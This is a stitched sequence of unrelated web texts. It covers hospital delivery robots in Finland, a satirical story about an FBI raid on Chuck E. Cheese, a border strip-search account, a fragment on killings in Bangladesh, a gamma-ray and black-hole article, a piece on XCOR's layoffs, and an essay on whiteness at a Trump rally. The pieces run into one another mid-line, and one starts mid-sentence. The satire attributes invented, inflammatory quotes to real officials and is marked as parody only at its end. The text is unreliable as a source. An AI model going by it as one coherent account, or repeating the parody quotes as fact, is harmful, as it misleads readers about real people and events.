With deliveries running 24/7, the system will help to improve the availability of supplies and alleviate congestion on hallways. Experiences gained during the first six months show that transport personnel expenses and the physical strain of transport work have been reduced. The personnel's views on the delivery robots have developed favourably and other hospitals have shown plenty of interest in the Seinäjoki hospital's experiences.
From the perspective of various occupational groups, adoption of the system has had a varied effect on their perceived level of sense of control and appreciation of their work, as well as competence requirements. This study by VTT, employing work research approaches and a systems-oriented view, highlights the importance of taking into account in the change process the interdependencies between various players, along with their roles in the hospital's core task.
Careful planning, piloting and implementation are required to ensure that the adoption of new robots runs smoothly as a whole. "As the system is expanded with new robots and types of deliveries, even more guidance, communication and dialogue is needed. Joint planning that brings various players to the same table ensures that the system's implementation goes as smoothly as possible, making it easier to achieve the desired overall benefits," says Senior Scientist Inka Lappalainen of the ROSE project.
VTT's study is part of the Robots and the Future of Welfare Services project (ROSE), running from 2015 to 2020. The project investigates Finland's opportunities for adopting assisting robotics to support the ageing population's independent living, wellbeing and care. There is also a blog post on the topic: http://roseproject.aalto.fi/fi/blog/32-blog8.
Roadmap
Intermediate results of the project are presented in the publication Robotics in Care Services: A Finnish Roadmap, providing recommendations for both policy making and research. The roadmap is available on the ROSE project website, at http://roseproject.aalto.fi/ or http://roseproject.aalto.fi/fi/blog/29-roadmap-blog-fi.
The roadmap has been compiled by the project consortium comprising Aalto University, the project's coordinator, and research organisations Laurea University of Applied Sciences, Lappeenranta University of Technology, Tampere University of Technology, University of Tampere and VTT.From Brandon Smith at Alt Market
FBI Raids Chuck E. Cheese For “Undermining U.S. Currency”
The FBI and the Secret Service showed their willingness today to utilize the expanded definitions of “counterfeit currency” and “domestic terrorism” brought about by the recent conviction of Bernard von NotHaus of the alternative currency outlet “Liberty Dollar” when the agencies initiated a surprise raid on an unsuspecting Chuck E. Cheese establishment in Des Moines, Iowa.
Chuck E Cheese is charged with violations of 18 U.S.C. § 514, which covers the counterfeiting of Federal instruments, including currency, as well as 18 U.S.C. § 486, which states:
Whoever, except as authorized by law, makes or utters or passes, or attempts to utter or pass, any coins of gold or silver or other metal, or alloys of metals, intended for use as current money, whether in the resemblance of coins of the United States or of foreign countries, or of original design, shall be fined under this title or imprisoned not more than five years, or both.
The statute phrases “intended for use as current money”, as well as “of original design” are extremely vague and wide open for any number of unconstitutional interpretations. Traditionally, the concept of “resemblance” or “similitude” in terms of counterfeiting has been considered to mean an attempt to make an exact copy or near exact copy of a unit of U.S. currency with the intent to illegally replicate its appearance as well as its value. However, the FBI found that the Liberty Dollar decision, and the “precedent” set by it, actually expanded the definition of “resemblance and similitude” to mean almost any privately made coin or barter token. That is to say, there are no longer any exact guidelines for what actually constitutes “counterfeiting”, and therefore, all alternative currencies are now fair game, including the insidiously prevalent Chuck E. Cheese game token.
“Haven’t you ever been at the laundry mat with a pocket of change thinking you have plenty of quarters, only to discover that most of them are Chuck E. Cheese tokens?!” railed Anne Tompkins, Department of Justice prosecutor in the Liberty Dollar case, as she read from a carefully prepared DHS script. “That is close enough to counterfeiting for me! It is a blatant destabilization of our democratic economy! What are you supposed to do, let your underpants wallow in filth while Chuck E. Cheese makes a profit? I say no to these financial terrorists!”
“We have to start making examples out of these alternative currency people,” said Agent Heinrich Himmler of the FBI, who was part of the Des Moines raid, “if we don’t chill enthusiasm for this kind of black market activity and so called “free trade” now, then who knows what could happen! We can’t have average citizens attempting to operate their own commerce. That would be un-American!”
Himmler’s sentiments were echoed by Southern Poverty Law Center mascot and all around swell guy, Mark Potok, who stated:
“We know for a fact that the private trade of any alternative currency directly funds terrorist organizations like “white Al Qaeda” (white Al Qaeda is a franchise of Al Qaeda LTD., all rights reserved), the Ku Klux Klan Anti-Semite Aryan Stormfront Warriors, and, the dreaded Cobra Commandos, not to mention the Decepticons. I have no proof of this…..but I work with the Department of Homeland Security, so clearly I don’t need to explain myself to you…”
He related further:
“The majority of Chuck E. Cheese customers are obviously right wing extremists with aspirations of homegrown terrorism. They openly believe in outlandish conspiracy theories, including the claim that the American economy is on a bullet-train to hell, its greased lighting supplied by the rampant unaccountable activities of the Federal Reserve, including their deliberate destruction of our monetary system. These accusations are preposterous. I see absolutely no signs that the economy or the dollar are in any danger whatsoever. Frankly, only a man like Timothy McVeigh would eat at Chuck E. Cheese.”
“Chuck E. Cheese will deny they cater to terrorists, but who are they to argue with me? I have an open invitation to appear on MSNBC anytime I want and say anything I want without ever being questioned. I could go on Hardball, wax my bikini line, and do a naked hula dance in Chris Matthews’ face and no one would say a damn thing! I’m freaken’ untouchable!”
The Secret Service and the FBI were confronted at the scene of the raid by alternative media proponents who questioned the validity of the action, citing an “extreme misinterpretation of currency laws” in order to “railroad anyone who dared to refuse participation in the corrupt dollar based system”. FBI spokeswomen Gertrud Klink refused to allow web news reporters access to the scene, and failed to respond to any queries.
“They aren’t real media anyway”, said Klink. “They may have city or state issued press passes, and they may be pummeling the MSM with their growing readership numbers, but if it doesn’t say FOX or CNN on the ID, who do they expect to take them seriously? If you can’t reinforce people’s ignorant preconceived notions of any given event with sterile corporately crafted talking points broadcast on digital HD cable, then what good are you to the FBI? ‘The O’Reilly Factor’…..now that’s real journalism!”
Alleged terrorists apprehended on the scene included Chuck E. Cheese himself, as well as partners in crime Jasper T. Jowls and Mr. Munch. Mr. Munch was shot and killed by the FBI while attempting to “gnaw an agent’s leg”. The West Des Moines Junior Girls Softball Squad (Go Bulldogs!), were also caught red handed in the act of exchanging illegal Chuck E. Cheese tokens for turns at the “Whack-A-Mole.”
“We stormed in right as they were about to thrash several unmistakable likenesses of Mark Potok with a rubber mallet. It was sickening! I hope Mark knows how much danger he’s really in….”
Twelve year old shortstop, Suzie Silverton, had a different view of the situation:
“We had just won the state championship and thought it would be nice to celebrate with some pizza and stuff…”
“We didn’t know we were doing anything wrong, you know. I mean, nobody ever told us that Chuck E. Cheese tokens were against the law. We’ve been using them since I was little to play games and all that. They don’t look like any real money I know. Only an idiot (or a Liberty Dollar case jury) would mistake them for legal tender. I asked an FBI man if he could show me where in the law it says specifically that tokens are illegal. He said they make the law up as they go along now, then he sprayed me in the face with bear repellent…”
Anne Tompkins defended the actions of the FBI in a press conference statement ghost written by Janet Napolitano herself:
“Chuck E. Cheese tokens are indeed a form of counterfeiting. As we pointed out in the Liberty Dollar case, any round metal token with a portrait, especially a left facing portrait, with visual devices similar to U.S. coins (which are open to our personal interpretation), could easily be mistaken as legal tender by the dull witted American masses. Never mind that the portrait on the token is of a singing rat…”
“We have several versions of the Chuck E. Cheese token that violate the same exact statutes as Liberty Dollar did. Some of the coins have dollar denominations, like 25 cents, inscribed on them, and some even say “In Pizza We Trust”, obviously copied from “In God We Trust” which is prevalent on all U.S. coinage. Honestly, that’s all we need to nail you for conspiracy to commit currency fraud nowadays, so all you Liberty Movement insurgents out there can forget about sound money projects to protect your communities from hyperinflation. We’re going to tap dance on your graves…”
Seven-year-old Tommy Tuddlemeyer of Des Moines interrupted Tompkins’ statement in protest over the raid on his favorite family restaurant.
Tuddlemeyer: “Anne Tompkins is a shameless soulless shill puppet for the DHS and the corporate banking oligarchy! Don’t you see! They’ve made the application of counterfeiting law so arbitrary that no one can ever know what the actual definition of a counterfeit is! It is utterly unconstitutional to leave the interpretation of a law “open ended” so that it can be used as a flail by the establishment to smash anyone who seeks independence in any form from the existing system! Plus……I miss the ball pit and the pizza! Where am I going to have my 8th birthday party now!
Tompkins: “You’re forgetting something, young man. Barter tokens are also undermining the strength of our dollar and our monetary system. It is illegal to create an economic system or an alternative currency that competes with the Federal Reserve Note. By using tokens, you are destroying the integrity of our country and putting the financial safety of everyone at risk.”
Tuddlemeyer: “Listen, you haggard she-goblin! I may have been born almost yesterday, but that doesn’t mean I’m a moron! You can try to misinterpret 18 U.S.C. § 486 all you want, but it doesn’t change the fact that competing barter systems are in no way illegal! Show me the law, wench!”
Tompkins: “Don’t worry, if it’s not written down yet, we’ll make sure it is before the year is out.”
Tuddlemeyer: “If you really cared at all about the safety of the dollar and our financial system, then you would use the power of the DOJ to help investigate the global banks and the Federal Reserve. They are destroying the stability of our currency daily and right out in the open! Its apparent that you have no interest in protecting the American people, only keeping us unshielded and weak as corporate elites bleed us dry, making us sufficiently desperate before they introduce the SDR as the new world reserve currency to replace the dollar, and position the IMF as the ultimate global arbiter of all economic activity around the world.”
Tompkins: That’s all “conspiracy theory”. Only silly kooky internet crazies with insane mental illness psycho craziness say things like that.
Tuddlemeyer: What?! It’s admitted! Ever visit the IMF website? I thought a “conspiracy” was supposed to be something secret. This isn’t a secret…
Tompkins: You’re crazy, and therefore everything you say no matter how factual is without merit…
Tuddlemeyer: Even if you were right about competing systems and currencies being illegal, which you’re not, how did Liberty Dollar or Chuck E. Cheese actually “compete” with the greenback? People had to exchange dollars for Liberty Dollar coins, and for Chuck E. Cheese tokens, so dollars were still being used and traded within the barter process. Nothing you say makes any sense. Man, I need a Flintstones vitamin and a shot of Mountain Dew just to get through this conversation...”
Tompkins: “Ok, I admit it; the raids on Liberty Dollar and Chuck E. Cheese were not about counterfeiting in the slightest. In fact, the banking elite are unbearably afraid of average people taking matters into their own hands and applying their own unique solutions to the problems of economic destabilization. If all you serfs go around implementing your own financial protections and localizing your own economies, then you won’t need global banks or the government to “help you” when it really hits the fan in the next couple of years. If you people get even the narrowest inkling that you have the ability to live WITHOUT the dollar, or any other fiat central banking instrument of intergalactic subjugation, then that would really peeve us off, plus put us out of business. Can you see me having to work a real job? I don’t think so! I would rather send goon squads to burn down your dirty little suburban hovels!”
Tuddlemeyer: How do you live with yourself, lady…?
Tompkins: I make sure everyone else is as miserable as I am…
Tommy Tuddlemeyer was promptly tasered for daring to assert his First Amendment rights in a public place and was heard to exclaim as his head was placed into a black bag that he “wanted his mommy”. Police pointed out that if he could not afford his own mommy, an inept court appointed mommy would be provided for him.
The DOJ, the Secret Service, and the FBI are moving forward with similar actions against other organizations using alternative counterfeit currencies, including Disney Dollars, Roller Dollars, “common border” cooperation against Canadian Tire Dollars, and raids on every casino establishment in the greater Las Vegas area:
“We’ll leave no stone unturned” said Agent Himmler. “I have full faith that with the combined efforts of the DOJ, the FBI, the IRS, and the DHS, we will scare the holy bejesus out of anyone who even looks at the dollar sideways. It’s very simple, if you want to stay out of our crosshairs; shut up, use your Fed notes, and your credit card, and keep on shopping, America! Easy peasy! And don’t worry, if anything ever does happen to the dollar, we’ll be there to pick up the pieces for you. Just don’t ever try to pick them up yourself…”
UPDATE: The above news story is a parody. Hopefully you noticed. However, the underlying absurdity of the situation is, unfortunately, very real, and going on today right under our noses. The humorous anecdote is meant to illustrate a point; that the activities of the DOJ and various federal agencies in regards to alternatives commerce of late have been growing more vicious and more irrational as the disintegration of the mainstream economic system nears. Stagflation is striking all sectors, corporate retailers like Walmart are no longer able to absorb wholesale price increases of goods and are now charging much more at the shelf, energy prices are going through the roof, and housing and wages continue to decline. Centralized economic structures like our own always struggle to stay relevant to the people in the face of financial implosion, at least until they can be replaced with yet ANOTHER centralized financial system. Power over the economy and power over currency are the greatest mechanisms of control in existence, at least, beyond the barrel of a gun, and even more so in some cases. The establishment will stop at nothing to maintain their grip on this mechanism. This includes criminalizing even the most logical and moral behaviors.
The bottom line; whether or not barter networks or sound money initiatives are made illegal is irrelevant. What the DOJ, the SPLC, or even the FBI claims is “domestic terrorism” in terms of trade is, in the end, meaningless. When all is said and done, people are going to look for ways to survive. Barter networking and precious metals are a natural economic extension of this inherent instinct. Every single nation in history that has experienced a fiscal catastrophe has immediately sprouted private localized trade in response. Barter is a fact of life that even the Federal Reserve can’t undo. The key, though, to making barter a proactive tool, is to utilize it BEFORE collapse occurs, instead of waiting until after the fact. The key is to preempt disaster with a free market already in place to provide new options for Americans who find themselves afraid, confused, and in the dark. Never forget, if we do not take action now, global banks will be more than happy to introduce their own “solution”; one that is not so free…After a recent trip south of the border, a Kelowna business owner says she won’t be returning to the United States without her husband by her side.
Just a little over a week ago, the woman — whose name has been removed from this story over privacy concerns — and a female friend were on a motorcycle trip to Elmo, Mont., from Radium Hot Springs.
On May 14, they pulled up to the Roosville, Mont. border crossing. The 51-year-old mother, said she got off her Harley and started taking off her helmet when she got up to the window. She said her move seemed to upset the officer, who said she should’ve waited for instructions.
The woman, who has no criminal record, was questioned on why she was travelling to Elmo by the officer, who told her it was, "Indian country."
Startled by the comment, she was told she'd have to go into secondary questioning. The officer refused to give her passport back until everything was OK with the next inspection.
According to U.S. Customs and Border Protection (CBP), an individual may be selected for further inspection if they have previously violated a U.S. law, they aren’t carrying proper documentation, their name matches a person of interest or a sex offender or if the traveller has been selected for a random inspection.
The Kelowna woman said she was taken into a garage-type inspection building with three officers who searched her bike. Her friend wasn’t allowed in and told to get to the road. Officers looked through her wallet and saw that she had an interim driver’s licence, which they said was legal, but suspicious.
Officers did not find anything illegal, but said she would have to undergo a strip search.
“I said, ‘I’ve done nothing wrong, I don’t know why you would need to do that,’” said the woman, recounting the moment with tears welling up. “I got scared. I got really scared. I said, ‘Can you please call the police?’ and they said, ‘No, we’re not going to call the police.’
“They said that they have more power than the police, and the police have no jurisdiction now, and whatever they say goes.”
She refused to undress as three men, and no women were in the room, but no other options were given.
“It was startling and scary to see those doors go down and having that instant realization I’m trapped in a room with three men.”
None of the officers, one who insisted he was the supervisor, would give out their names.
“They took my clothes off, ” said the woman, her voice breaking with emotion, “…and did an internal cavity search of my body. And it was awful. It was really bad, and I just can’t understand.
“I just kept saying to them, ‘How could you do this to a woman? This is not right.”
Jason Givens, with U.S. Customs and Border Protection, said a search of this nature would only be conducted if the officer determined beyond all reasonable suspicion that the traveller was carrying contraband. It would also be conducted by a member of the traveller’s same sex.
The woman said she was confused, but thought they had a problem with her being a woman.
“The part that makes me feel worthless and dirty and crappy is the fact that these people have such incredible power to make a female disrobe and that they can enter their body. It felt everything but legitimately OK.”
After a 45-minute search, which yielded nothing, they told her, "Get out of here," but didn't let her re-strap up her bike gear before making her leave the facility.
Trying to secure her stuff, she attempted to call her husband, but the cell reception was poor.
She was finally united with her friend who was worried and waiting two blocks away.
“Even as far away as she was, she could actually hear me screaming.”
The pair stayed on the side road for an hour, as she cried and tried to gain control enough to drive.
They never made it as far as Elmo, but got a hotel room for the night, before returning to Canada the next day through another border crossing.
On this side of the border, she was pulled over by an RCMP officer for speeding. The woman's friend was asked to go ahead.
“When he said that she could go and I had to stay it made me so freaked out,” |
a Christian grocer and wife of an anti-terror police officer. In February, militants stabbed to death a Hindu priest at a temple and shot and wounded a devotee who went to his aid.
In April, a liberal professor was brutally hacked to death in Rajshahi city. In the same month, a Hindu tailor was hacked to death in his shop and
Bangladesh's first gay magazine editor was brutally murdered along with a friend in his flat in Dhaka by Islamist forces. Bangladesh has also seen a series of attacks on secular and liberal bloggers in 2015SALT LAKE CITY — When black holes collide, do they hide in the dark or emit flashes of light?
That question is up the air after an Earth-based detector spotted gravitational waves, or ripples in the fabric of space-time, created by two black holes merging together. Previous work suggested that for black holes of this size — about 30 times the mass of the sun — there would be no bright flash, no hazy glow, no light to speak of.
But in September 2015, NASA's Fermi Gamma-ray Space Telescope saw a faint burst of high-energy light less than 1 second after the black holes had collided, and in the same region of the sky. Researchers with the Fermi collaboration discussed the finding yesterday (April 18) at the American Physical Society April Meeting. The chances are good that the gamma-ray light did indeed come from the black-hole merger, but more evidence is needed to nail that conclusion down, scientists said. [Ride the Gravitational Waves of a Black Hole Merger (Video)]
"This is a tantalizing discovery with a low chance of being a false alarm, but before we can start rewriting the textbooks, we'll need to see more bursts associated with gravitational waves from black hole mergers," study lead author Valerie Connaughton, of the National Space, Science and Technology Center in Huntsville, Alabama, said in a statement.
A historic discovery
Moving masses generate waves of gravitational radiation that stretch and squeeze space-time. See how gravitational waves work in this Space.com infographic (Image: © By Karl Tate, Infographics Artist)
In February, a collaboration of scientists working at the Laser Interferometer Gravitational-Wave Observatory (LIGO) made history when they announced the first-ever direct detection of gravitational waves, which were first predicted by Albert Einstein a century ago. Up until that detection, scientists had obtained only indirect evidence of these ripples' existence.
The LIGO team determined the waves it had detected came from two black holes, 29 and 36 times the mass of the sun, merging together. Researchers generally didn't expect to see any light coming from this event.
Black holes themselves don't radiate light, but the fast-moving material spiraling into black holes often does. (In fact, monster black holes at the centers of galaxies can cause matter around them to radiate so much light that they become some of the brightest objects in the universe.) However, merging black holes circle each other for millions of years, so scientists had expected that any gas or other nearby light-generating debris would be cleared away long before the duo actually collided.
Despite this prediction, researchers combed through the data archives of various telescopes (including Fermi) to hunt for any signs of light emissions from the region to which LIGO traced the two black holes. [Images: Black Holes of the Universe]
"We weren't actually expecting to see anything," said Fermi team member Adam Goldstein, a gamma-ray astrophysicist at NASA's Marshall Space Flight Center in Huntsville, Alabama. Goldstein spoke at a press conference here today at the American Physical Society's April meeting.
But the team did see something: a very faint signal that came from the same region of sky where LIGO made its detection, and that occurred only 0.4 seconds later.
Judy Racusin, an astrophysicist at NASA's Goddard Space Flight Center in Greenbelt, Maryland, said during today's press conference that the Fermi team is "cautiously saying [the gamma-ray signal] is potentially associated with the black hole merger" detected by LIGO.
The researchers are extremely cautious in their assessment, for many reasons. First, the signal wasn't ideal. It came from a region of sky that was underneath the Fermi satellite, so the spacecraft's detectors were essentially seeing the signal in their peripheral vision. The signal is very weak, and Goldstein said it's unclear how much of that is because the detectors weren't looking directly at it, or if it was a weak signal to begin with.
But the LIGO detection makes this otherwise unremarkable gamma-ray burst of great interest to the scientific community, Goldstein and others said.
Based on everything the Fermi team knows about the gamma-ray sky, Goldstein said there is about a "one in 500 chance" that the gamma-ray signal is not associated with the gravitational wave signal, and just happened to appear in the same region of sky at about the same time.
LIGO was able to determine the location of the black hole collision only to within an area spanning 600 square degrees of the sky. (Your clenched fist held at arm's length covers about 10 degrees.) Fermi's detection could reduce that region by two-thirds, but that still leaves a wide range of places where either signal could have come from, reseachers said.
Questions remain
Goldstein and Racusin also discussed a paper released by the INTErnational Gamma-Ray Astrophysics Laboratory (INTEGRAL) collaboration, which showed that the instrument did not detect a signal similar to the one picked up by Fermi. The two scientists said the instrument on INTEGRAL that would have potentially spotted the gamma-ray burst was not built primarily as a gamma-ray burst detector. So it is not possible to directly compare what Fermi sees with what INTEGRAL sees, the scientists said.
Based on what Fermi knows about the signal it detected, Goldstein said, it is "actually not very clear if [INTEGRAL] would have seen it or not."
The new paper about Fermi's gamma-ray detection has been submitted to The Astrophysical Journal and is currently undergoing peer review.
"It is important to note we would not have reported this event just by itself," Goldstein said. "The reason we are publishing is because our data is public, obviously, and the most appropriate people to do this analysis [are in] the instrument team. And so there was particular pressure on us putting out a paper for this."
In the days and weeks following the September LIGO announcement, a handful of papers appeared on the open-access science paper website arXiv.org, throwing out possible physical scenarios in which two midsize colliding black holes could produce a gamma-ray burst. One hypothesis, by astrophysicist Avi Loeb of the Harvard-Smithsonian Center for Astrophysics (CfA) in Massachusetts, suggested that the two black holes had formed in the belly of a single star.
"There [are] a lot of interesting ideas out there, and it was amazing how quickly those ideas were thrown together," Racusin said. "The main idea is that you need to get some sort of matter outside those black holes, some sort of gas to accelerate. … I think it's great how much theoretical speculation this has caused, and we'll see, maybe, in the future [if any of them pan out] with better observations."
"The question that everyone has is, 'Are our observations and LIGO's observations coming from the same object?'" Goldstein said. "And we cannot say definitely right now."
But Goldstein and Racusin said that LIGO is expected to detect more merging black holes in the coming years, as many as 100 such mergers per year at the instrument's peak design sensitivity, Goldstein said.
"So we'll have plenty of opportunities in the next few years to see if other binary black holes have coincident gamma-ray signals," he said.
Follow Calla Cofield @callacofield.Follow us @Spacedotcom, Facebook and Google+. Original article on Space.com.Ever since the news broke that Boeing (NYSE: BA) had won the contract to build DARPA's new spaceplane, this was probably inevitable. But now it's also official:
XCOR Aerospace is dead.
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So long XCOR, we hardly knew ye
Yes, the tiny aerospace company that we first learned of six years ago, when Boeing and Lockheed Martin (NYSE: LMT) hired XCOR to build them some space engines, has finally run its course. From zero to hero and back again, XCOR announced last week that has laid off all of its employees.
Citing "adverse financial conditions," acting CEO Michael Blum confirmed last week that XCOR was forced to "terminate all employees as of 30 June2017," keeping only a handful as "contractors" as the company explores its "other options." This move followed a May 2016 layoff of nearly half of XCOR's employees, and after that, the June departure of the company's CEO Jay Gibson.
Three in a row
XCOR's acting CEO, meanwhile, was himself once the co-founder of rival new-space firm Firefly -- which itself furloughed all staff in December, and finally went defunct earlier this year, selling off all its assets at auction. Add in Swiss Space, which filed for bankruptcy last year. By my count, the field of privately owned space start-ups has dwindled by three over just the past seven months.
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For investors in giant space stocks like Boeing, Lockheed Martin, Aerojet Rocketdyne, and Orbital ATK, this may sound like good news. The threat from "new-space" is fading.
But not so fast. While many new-space companies are going under, some are thriving.
What does not kill them makes them stronger
Take Rocket Lab for example. Earlier this year, Rocket Lab became the first privately held space tech firm (since SpaceX) to reach unicorn status -- valued in excess of $1 billion after attracting investments from such firms as Khosla Ventures, Bessemer Venture Partners, and Lockheed Martin itself. With these funds in hand, Rocket Lab proceeded to launch its first rocket to the very edge of space in May, and expects to put a rocket in orbit before the year is out.
And then there's Vector. In June, the micro-satellite launch company -- and Rocket Lab rival -- closed a new $21 million round of funding, led by private equity fund Sequoia Capital. Vector spent much of last year lining up paying customers to fly satellites on its rockets, building up a backlog worth tens of millions of dollars. It conducted a successful rocket test of its own earlier this year.
As the less financially sound space start-ups fold, competition for funding decreases among survivors such as Rocket Lab and Vector, increasing their ability to compete with the likes of Boeing and Lockheed. What's more, once the business of launching microsatellites begins in earnest, it's the survivors of this early stage of funding who will inherit the market share that would, otherwise, have been split among many more players.
So what's the upshot of all this for investors? The weak are dying off, and the stronger are surviving. If and when these companies reach the point where they begin contemplating IPOs, that should make it a whole lot easier for us to figure out which ones to invest in.
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Rich Smith has no position in any stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy.On an American road trip, Stephen Marche enters the fray with Donald Trump and Bernie Sanders in Iowa and gets a view of the campaign trail from the perspective of his whiteness
The border
You feel your whiteness properly at the American border. Most of the time being white is an absence of problems. The police don’t bother you so you don’t notice the police not bothering you. You get the job so you don’t notice not getting it. Your children are not confused with criminals. I live in downtown Toronto, in one of the most liberal neighborhoods in one of the most open cities in the world, where multiculturalism is the dominant civic value and the inert virtue of tolerance is the most prominent inheritance of the British empire, so if you squint you can pretend the ancient categories are dissipating into a haze of enlightenment and intermarriage.
Not at the border.
My son’s Guyanese-Canadian teacher and the Muslim Milton scholar I went to high school with and the Sikh writer I squabble about Harold Innis with and my Ishmaeli accountant, we can all be good little Torontonians of the middle class, deflecting the differences we have been trained to respect. But in a car in the carbon monoxide-infused queue waiting to enter Detroit, their beings diverge drastically from mine.
I am white. They are not. They are vulnerable. I am not.
Here’s the thing: I like the guards at the American border. They’re always friendly with me, decent, even enjoyable company. At the booth in between the never-was of Windsor and the has-been of Detroit, the officer I happened to draw had a gruff belly and the mysterious air of intentional inscrutability, like a troll under a bridge in a fairytale.
“Where are you headed?” he asked.
“Burlington, Iowa.”
“Why would anyone ever choose to go to Burlington, Iowa?” he asked philosophically.
“I’m going to see Donald Trump and Bernie Sanders.” Then, because it did seem to require an explanation: “They’re giving rallies within a couple of days of each other.”
“Why would anyone ever choose to go see Donald Trump and Bernie Sanders?”
I didn’t argue, because it was the border, but I could have said that the police chief of Birmingham estimated that 30,000 people showed up in Alabama to see Donald Trump in August and that in Dallas, he had filled the American Airlines Center, and that his counterpart, Bernie Sanders, has generated equally unprecedented numbers – vastly more than Barack Obama drew at comparable moments in the 2008 campaign.
“I’m curious,” I said instead.
At this point he asked me to roll down my window. But it was all fine. Like I said, I’m white.
Rising deaths among white middle-aged Americans could exceed Aids toll in US Read more
As I drove through the outskirts of the ruins of Detroit, across the I-94, one of the ugliest highways in the United States, the old familiar lightness fluttered to my heart. I love America. America is not my mother. Canada is my mother. But America is an unbelievably gorgeous, surprisingly sweet rich lady who lives next door and appears to be falling apart. I cannot help myself from loving it.
For people who love to dwell in contradictions, the US is the greatest country in the world: the land of the free built on slavery, the country of law and order where everyone is entitled to a gun, a place of unimpeded progress where they cling to backwardness out of sheer stubbornness. And into this glorious morass, a new contradiction has recently announced itself: the white people, the privileged Americans, the ones who had the least to fear from the powers that be, the ones with the surest paths to brighter futures, the ones who are by every metric one of the most fortunate groups in the history of the world, were starting to die off in shocking numbers.
The Case and Deaton report, Rising Morbidity and Mortality in Midlife among White Non-Hispanic Americans in the 21st Century, describes an increased death rate for middle-aged American whites “comparable to lives lost in the US Aids epidemic”. This spike in mortality is unique to white Americans – not to be found among other ethnic groups in the United States or any other white population in the developed world, a mysterious plague of despair.
In one way, it was easy to account for all this white American death – “drug and alcohol poisoning, suicide, and chronic liver diseases and cirrhosis”, according to the report. It was not so easy to account for the accounting. Why were middle-aged white Americans drinking and drugging and shooting themselves to death? The explanations on offer were pre-prepared, fully plugged into confirmation bias: it was the economy or it was demography or it was godlessness or it was religion or it was the breakdown of the family or it was the persistence of antique values or it was the lack of social programs or it was the dependence on social programs.
Case and Deaton call it “an epidemic of pain”. Fine. What does that mean?
On the I-94, you do find yourself asking: what the fuck is wrong with these people? I mean, aside from the rapid decline of the middle class obviously. And the rise of precarious work and the fact that the basic way of life requires so much sedation that nearly a quarter of all Americans are on psychiatric drugs, and somewhere between 26.4 and 36 million Americans abuse opioids every day. Oh yes, and the mass shootings. There was more than one mass shooting a day. And the white terrorists targeting black churches again. And the regularly released videos showing the police assassinating black people. And the police in question never being indicted, let alone being sent to jail.
And you know what Americans were worried about while all this shit was raining down on them? While all this insanity was wounding their beloved country? You know what their number one worry was, according to poll after poll after poll?
Muslims. Muslims, if you can believe it.
‘The American dream is dead but I’m going to make it stronger!’
My body is white and it is male. It is six foot tall and weighs 190lb. It is 39 years old and it has had to start running. It has had to start counting calories. There is a tingle in the joint of my right thigh, so I try not to think about my body. The tingling comes and goes. I know my body is going to kill me.
“A man who fears suffering already suffer what he fears,” as Montaigne said. That’s one of the reasons why men die so much younger than women – six years younger on average in America. Ninety-two percent of men say they wait at least a few days to see if they feel better before they go to a doctor, but I know what they mean by a few days. They mean a few more days than makes sense. It is hard to have a male and white body and to conceive of its weakness. In the same breath, my body cannot bring itself to believe it is the personification of power, though it evidently is in any rational accountancy of social status. It feels like a mere body. It feels mortal.
Facebook Twitter Pinterest ‘I’ve never been to a place as white as Iowa. That’s the honest truth.’ Photograph: Darren McCollester/Getty Images
I’ve never been to a place as white as Iowa. That’s the honest truth. Whenever I go to America it’s New York or Chicago or Los Angeles or Florida. In Burlington, at Jerry’s Main Lunch, the signature dish is “the hot mess, eggs and bacon cooked right into the hash browns. The sugar shakers all have white crackers in them, to prevent clumping – a classic bit of commonsense American know-how. The hot mess is delicious. Why don’t they make these everywhere? Why isn’t there a chain of Jerry’s Main Lunches serving hot messes all across the midwest?
The answer is in the rest of the town: everything that’s going to leave has already left Burlington. The beautiful brick buildings downtown are mostly vacant. The most interesting street is the road out of town.
The Memorial Arena, on the banks of the Mississippi, filled up early. Trump wasn’t speaking until 6pm but by 4.45 the parking situation was grim. Outside the building, the hawkers who follow Trump on the road, event to event, sold T-shirts and buttons, three for $10. “We shall overcomb.” “Cats for Trump, the time is Meow.” “MAKE AMERICA GREAT AGAIN.”
Inside, every seat had been taken and the floor filled quickly with a standing room only crowd. Burlington is 10% black. The rally was 99.99% white.
The people who attend political rallies in America are a specific genre of humanity, like the people who stand outside in lines for nightclubs. They know where they’re supposed to go and how they’re supposed to behave when they get there. They have gear.
An elderly lady sat beside me wearing a sequined stars-and-stripes-hat she clearly takes out for just these occasions. “Y’all from Illinois?” she asked. I’m not but I can pass. She goes to all the rallies, she explained. She’s been a Republican her whole life, an active Republican, an Iowa Republican. For 30 years, she’s been in crowds like this one. She plans to go, one time in her life, to the national convention. Like going to see the Stones. When the organizers passed around hand signs reading “The Silent Majority”, she grabbed a dozen so she could pass them around to others.
Cheerful helpful women were half the crowd. Angry and absurd men were the other. They wore T-shirts with whole paragraphs written on them: “I am a United States Military Veteran. I once took a SOLEMN OATH to defend the CONSTITUTION against ALL enemies, foreign and Domestic. Be advised No one has ever relieved me of my duties under this Oath!”
There were cars in the parking lot slathered with bumper stickers. “We the people are 100% FED UP!” “So if guns kills people, I guess pencils miss spell words [sic], cars drive drunk and spoons make people fat.” “I’m straight, conservative, Christian, and I own a gun. Is there anything else I can do to piss you off?” A picture of Obama with “Does this ass make my car look big?” The Republican style for 2016 is angry aphoristic humor. Behind comedy, absurd rage: America is the greatest country in the world but America is falling apart, government is the problem which is why government must solve it.
This was a Trump production so naturally there was a VIP section. A door guarded by bald, unsmiling men, the bouncers who stand forever as the bored sentinels of indifferent celebrity. A swinging door at the side of the stage received and dispensed the best-looking people, the ones with the buffed neutrality of political professionals, the women whose faces have been tautened to a perma pout, the men who get their hair cut before every event.
The woman beside me – Stars ’n’ Stripes Hat – was wearing a pewter elephant pendant. A young girl in a bright orange dress passed out of the VIP entrance wearing an elephant pendant encrusted with diamonds. Elephant pendants were a theme, I noticed, and elephant brooches and elephant rings and elephant T-shirts. They came in all different price points and in all different styles: round elephants reminiscent of French cartoons from the 1960s, and strange pseudo-sexual shimmies, and with 1920s straw boater hats leading parades. There was one kind of elephant you couldn’t find. An elephant that actually looked like an elephant. A realistic elephant might serve as a memento to the hundred elephants killed for their ivory every day. A naturalistic elephant would be inherently environmentalist. The elephants must all be fabulous.
